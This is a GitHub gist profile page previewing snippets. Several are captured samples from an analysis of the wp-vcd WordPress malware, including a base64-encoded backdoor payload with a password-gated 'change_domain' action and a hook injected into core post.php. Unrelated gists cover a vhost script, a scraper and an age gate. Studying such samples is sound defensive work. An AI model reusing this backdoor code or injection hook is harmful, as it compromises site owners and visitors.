Skip to content

Instantly share code, notes, and snippets.

View d0n601's full-sized avatar
🐌
0x64306e363031

Ryan Kozak d0n601

🐌
0x64306e363031
85 followers · 4 following
View GitHub Profile
@d0n601
d0n601 / gist:e78c87fb57406c82408b9223e173bbbe
Created March 31, 2018 01:11
wp-vcd malware analysis, wp-includes/wp-vcd.php after plugin installation
<?php
error_reporting(0);
ini_set('display_errors', 0);
$install_code = 'PD9waHANCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpDQoJew0KJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7DQoJCXN3aXRjaCAoJF9SRVFVRVNUWydhY3Rpb24nXSkNCgkJCXsNCg0KCQkJCQ0KDQoNCg0KDQoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7DQoJCQkJCWlmIChpc3NldCgkX1JFUVVFU1RbJ25ld2RvbWFpbiddKSkNCgkJCQkJCXsNCgkJCQkJCQkNCgkJCQkJCQlpZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJCQl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQ0KCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoX2FsbCgnL1wkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50c1woImh0dHA6XC9cLyguKilcL2NvZGVcLnBocC9pJ
@d0n601
d0n601 / wp-tmp.php
Created March 31, 2018 01:04
wp-vcd malware analysis, wp-includes/wp-tmp.php after plugin installation
$anx='0082cfd4a04f1a4a5ffb8988545e59bd';
@d0n601
d0n601 / post.php
Created March 31, 2018 00:57
wp-vcd malware analysis, wp-includes/post.php after plugin installation
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
/**
* Core Post API
*
* @package WordPress
* @subpackage Post
*/
//
// Post Type Registration
@d0n601
d0n601 / vhost.py
Created November 3, 2017 22:18 — forked from fideloper/vhost.py
Create vHost Ubuntu Lamp-Server (bash and python)
#! /usr/bin/python
from sys import argv
from os.path import exists
from os import makedirs
from os import symlink
from os import system
import getopt
#
@d0n601
d0n601 / leafly.py
Last active October 27, 2017 18:22
Leafly.com Scraper Proof of Concept
import json
import requests
#from pymongo import MongoClient
class LeaflyHarvest(object):
"""
Leafly.com proof of concept data harvester.
"""
@d0n601
d0n601 / lil_spider.py
Created October 15, 2016 03:34
import urllib3
import signal
class TimeoutException(Exception):
pass
def timeout_handler(signum, frame):
raise TimeoutException
@d0n601
d0n601 / drinkingAge.html
Last active April 21, 2016 18:20
JavaScript Alcohol Age Gateway Example
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Type" context="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Drinks N' Alcohol</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet">
<link href="..//bouncer.css" rel="stylesheet">
@d0n601
d0n601 / bouncer.css
Created February 6, 2016 04:59
Drinking Age Gateway CSS
/*
* Plugin: bouncer.js
* Description: Style sheet for bouncer js window appearance
* Author: Ryan Kozak
* Author's website: https://ryankozak.com
*
*/
.spacers {
@d0n601
d0n601 / init_driningAge.js
Last active April 21, 2016 18:19
Initialize Drinking Age Gateway
$(function() {
//Settings for drinkingAge Plugin
var settings = {
"image" : 'http://placehold.it/350x150',
"message" : "As part of our commitment to responsible drinking, we just need to check that you're of legal drinking age.",
"redirect" : 'http://responsibility.org',
"deny_message" : "Sorry, but you are not of legal drinking age.<br>You'll be redirected soon...",
"deny_timeout": 5000,
"link_terms" : '/terms',